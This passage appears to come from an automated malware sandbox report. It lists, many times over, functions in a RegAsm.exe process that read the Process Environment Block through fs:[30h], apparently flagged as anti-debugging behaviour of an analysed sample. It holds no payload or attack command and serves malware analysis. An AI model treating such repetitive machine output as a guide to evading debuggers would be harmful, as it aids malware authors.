                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E62A0 mov eax, dword ptr fs:[00000030h]5_2_030E62A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E72A0 mov eax, dword ptr fs:[00000030h]5_2_030E72A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E72A0 mov eax, dword ptr fs:[00000030h]5_2_030E72A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D92BC mov eax, dword ptr fs:[00000030h]5_2_030D92BC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D92BC mov eax, dword ptr fs:[00000030h]5_2_030D92BC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D92BC mov ecx, dword ptr fs:[00000030h]5_2_030D92BC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D92BC mov ecx, dword ptr fs:[00000030h]5_2_030D92BC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031192A6 mov eax, dword ptr fs:[00000030h]5_2_031192A6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031192A6 mov eax, dword ptr fs:[00000030h]5_2_031192A6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031192A6 mov eax, dword ptr fs:[00000030h]5_2_031192A6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031192A6 mov eax, dword ptr fs:[00000030h]5_2_031192A6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030592C5 mov eax, dword ptr fs:[00000030h]5_2_030592C5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030592C5 mov eax, dword ptr fs:[00000030h]5_2_030592C5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A2C3 mov eax, dword ptr fs:[00000030h]5_2_0305A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A2C3 mov eax, dword ptr fs:[00000030h]5_2_0305A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A2C3 mov eax, dword ptr fs:[00000030h]5_2_0305A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A2C3 mov eax, dword ptr fs:[00000030h]5_2_0305A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A2C3 mov eax, dword ptr fs:[00000030h]5_2_0305A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B2C0 mov eax, dword ptr fs:[00000030h]5_2_0307B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B2C0 mov eax, dword ptr fs:[00000030h]5_2_0307B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B2C0 mov eax, dword ptr fs:[00000030h]5_2_0307B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B2C0 mov eax, dword ptr fs:[00000030h]5_2_0307B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B2C0 mov eax, dword ptr fs:[00000030h]5_2_0307B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B2C0 mov eax, dword ptr fs:[00000030h]5_2_0307B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B2C0 mov eax, dword ptr fs:[00000030h]5_2_0307B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307F2D0 mov eax, dword ptr fs:[00000030h]5_2_0307F2D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307F2D0 mov eax, dword ptr fs:[00000030h]5_2_0307F2D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B2D3 mov eax, dword ptr fs:[00000030h]5_2_0304B2D3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B2D3 mov eax, dword ptr fs:[00000030h]5_2_0304B2D3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B2D3 mov eax, dword ptr fs:[00000030h]5_2_0304B2D3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030602E1 mov eax, dword ptr fs:[00000030h]5_2_030602E1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030602E1 mov eax, dword ptr fs:[00000030h]5_2_030602E1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030602E1 mov eax, dword ptr fs:[00000030h]5_2_030602E1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310F2F8 mov eax, dword ptr fs:[00000030h]5_2_0310F2F8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031252E2 mov eax, dword ptr fs:[00000030h]5_2_031252E2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030492FF mov eax, dword ptr fs:[00000030h]5_2_030492FF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED mov eax, dword ptr fs:[00000030h]5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03110115 mov eax, dword ptr fs:[00000030h]5_2_03110115
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030FA118 mov ecx, dword ptr fs:[00000030h]5_2_030FA118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030FA118 mov eax, dword ptr fs:[00000030h]5_2_030FA118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030FA118 mov eax, dword ptr fs:[00000030h]5_2_030FA118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030FA118 mov eax, dword ptr fs:[00000030h]5_2_030FA118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03080124 mov eax, dword ptr fs:[00000030h]5_2_03080124
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B136 mov eax, dword ptr fs:[00000030h]5_2_0304B136
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B136 mov eax, dword ptr fs:[00000030h]5_2_0304B136
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B136 mov eax, dword ptr fs:[00000030h]5_2_0304B136
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B136 mov eax, dword ptr fs:[00000030h]5_2_0304B136
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03051131 mov eax, dword ptr fs:[00000030h]5_2_03051131
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03051131 mov eax, dword ptr fs:[00000030h]5_2_03051131
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03125152 mov eax, dword ptr fs:[00000030h]5_2_03125152
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E4144 mov eax, dword ptr fs:[00000030h]5_2_030E4144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E4144 mov eax, dword ptr fs:[00000030h]5_2_030E4144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E4144 mov ecx, dword ptr fs:[00000030h]5_2_030E4144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E4144 mov eax, dword ptr fs:[00000030h]5_2_030E4144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E4144 mov eax, dword ptr fs:[00000030h]5_2_030E4144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049148 mov eax, dword ptr fs:[00000030h]5_2_03049148
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049148 mov eax, dword ptr fs:[00000030h]5_2_03049148
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049148 mov eax, dword ptr fs:[00000030h]5_2_03049148
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049148 mov eax, dword ptr fs:[00000030h]5_2_03049148
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03056154 mov eax, dword ptr fs:[00000030h]5_2_03056154
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03056154 mov eax, dword ptr fs:[00000030h]5_2_03056154
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304C156 mov eax, dword ptr fs:[00000030h]5_2_0304C156
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03057152 mov eax, dword ptr fs:[00000030h]5_2_03057152
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F172 mov eax, dword ptr fs:[00000030h]5_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E9179 mov eax, dword ptr fs:[00000030h]5_2_030E9179
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03090185 mov eax, dword ptr fs:[00000030h]5_2_03090185
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D019F mov eax, dword ptr fs:[00000030h]5_2_030D019F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D019F mov eax, dword ptr fs:[00000030h]5_2_030D019F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D019F mov eax, dword ptr fs:[00000030h]5_2_030D019F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D019F mov eax, dword ptr fs:[00000030h]5_2_030D019F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304A197 mov eax, dword ptr fs:[00000030h]5_2_0304A197
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304A197 mov eax, dword ptr fs:[00000030h]5_2_0304A197
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304A197 mov eax, dword ptr fs:[00000030h]5_2_0304A197
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310C188 mov eax, dword ptr fs:[00000030h]5_2_0310C188
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310C188 mov eax, dword ptr fs:[00000030h]5_2_0310C188
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030A7190 mov eax, dword ptr fs:[00000030h]5_2_030A7190
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031011A4 mov eax, dword ptr fs:[00000030h]5_2_031011A4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031011A4 mov eax, dword ptr fs:[00000030h]5_2_031011A4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031011A4 mov eax, dword ptr fs:[00000030h]5_2_031011A4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031011A4 mov eax, dword ptr fs:[00000030h]5_2_031011A4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306B1B0 mov eax, dword ptr fs:[00000030h]5_2_0306B1B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031161C3 mov eax, dword ptr fs:[00000030h]5_2_031161C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031161C3 mov eax, dword ptr fs:[00000030h]5_2_031161C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308D1D0 mov eax, dword ptr fs:[00000030h]5_2_0308D1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308D1D0 mov ecx, dword ptr fs:[00000030h]5_2_0308D1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031251CB mov eax, dword ptr fs:[00000030h]5_2_031251CB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CE1D0 mov eax, dword ptr fs:[00000030h]5_2_030CE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CE1D0 mov eax, dword ptr fs:[00000030h]5_2_030CE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CE1D0 mov ecx, dword ptr fs:[00000030h]5_2_030CE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CE1D0 mov eax, dword ptr fs:[00000030h]5_2_030CE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CE1D0 mov eax, dword ptr fs:[00000030h]5_2_030CE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030751EF mov eax, dword ptr fs:[00000030h]5_2_030751EF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030551ED mov eax, dword ptr fs:[00000030h]5_2_030551ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030801F8 mov eax, dword ptr fs:[00000030h]5_2_030801F8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031261E5 mov eax, dword ptr fs:[00000030h]5_2_031261E5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E016 mov eax, dword ptr fs:[00000030h]5_2_0306E016
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E016 mov eax, dword ptr fs:[00000030h]5_2_0306E016
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E016 mov eax, dword ptr fs:[00000030h]5_2_0306E016
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E016 mov eax, dword ptr fs:[00000030h]5_2_0306E016
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304A020 mov eax, dword ptr fs:[00000030h]5_2_0304A020
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304C020 mov eax, dword ptr fs:[00000030h]5_2_0304C020
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311903E mov eax, dword ptr fs:[00000030h]5_2_0311903E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311903E mov eax, dword ptr fs:[00000030h]5_2_0311903E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311903E mov eax, dword ptr fs:[00000030h]5_2_0311903E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311903E mov eax, dword ptr fs:[00000030h]5_2_0311903E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030F705E mov ebx, dword ptr fs:[00000030h]5_2_030F705E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030F705E mov eax, dword ptr fs:[00000030h]5_2_030F705E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03052050 mov eax, dword ptr fs:[00000030h]5_2_03052050
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B052 mov eax, dword ptr fs:[00000030h]5_2_0307B052
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D106E mov eax, dword ptr fs:[00000030h]5_2_030D106E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03125060 mov eax, dword ptr fs:[00000030h]5_2_03125060
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307C073 mov eax, dword ptr fs:[00000030h]5_2_0307C073
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov ecx, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061070 mov eax, dword ptr fs:[00000030h]5_2_03061070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CD070 mov ecx, dword ptr fs:[00000030h]5_2_030CD070
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304D08D mov eax, dword ptr fs:[00000030h]5_2_0304D08D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305208A mov eax, dword ptr fs:[00000030h]5_2_0305208A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03055096 mov eax, dword ptr fs:[00000030h]5_2_03055096
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308909C mov eax, dword ptr fs:[00000030h]5_2_0308909C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307D090 mov eax, dword ptr fs:[00000030h]5_2_0307D090
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307D090 mov eax, dword ptr fs:[00000030h]5_2_0307D090
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031160B8 mov eax, dword ptr fs:[00000030h]5_2_031160B8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031160B8 mov ecx, dword ptr fs:[00000030h]5_2_031160B8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov ecx, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov ecx, dword ptr fs:[00000030h]5_2_030670C0
